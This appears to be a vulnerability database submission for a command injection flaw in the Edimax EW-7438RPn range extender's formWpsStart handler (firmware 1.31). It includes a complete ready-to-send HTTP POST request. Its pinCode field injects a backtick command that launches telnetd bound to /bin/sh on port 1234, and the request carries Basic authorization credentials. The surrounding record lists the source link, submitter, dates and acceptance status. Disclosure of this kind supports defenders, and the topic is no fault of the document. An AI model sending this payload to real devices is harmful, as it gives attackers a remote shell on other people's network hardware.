| Título | Edimax EW-7438RPn 1.31 Command Injection |
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| Descripción | We found a command injection vulnerability in an Edimax extender with recently released firmware, which allows remote attackers to execute arbitrary OS commands via a crafted request.In formWpsStart function, pinCode is directly passed by the attacker, so we can control the pinCode to attack the OS.
POST /goform/formWpsStart HTTP/1.1
Host: 192.168.0.4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
Origin: http://192.168.0.4
Authorization: Basic YWRtaW46MTIzNA==
Connection: keep-alive
Referer: http://192.168.0.4/wpsconfig.asp
Cookie: language=16
Upgrade-Insecure-Requests: 1
Priority: u=4
confMode=0&configOption=pin&pinCode=`telnetd -l /bin/sh -p 1234`&wlan-url=%2Fwpsconfig.asp |
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| Fuente | ⚠️ https://github.com/wudipjq/my_vuln/blob/main/Edimax/vuln_1/1.md |
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| Usuario | Bond (UID 87064) |
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| Sumisión | 2026-04-27 07:38 (hace 1 mes) |
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| Moderación | 2026-05-23 10:32 (26 days later) |
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| Estado | Aceptado |
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| Entrada de VulDB | 365306 [Edimax EW-7438RPn hasta 1.31 webs /goform/formWpsStart pinCode escalada de privilegios] |
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| Puntos | 20 |
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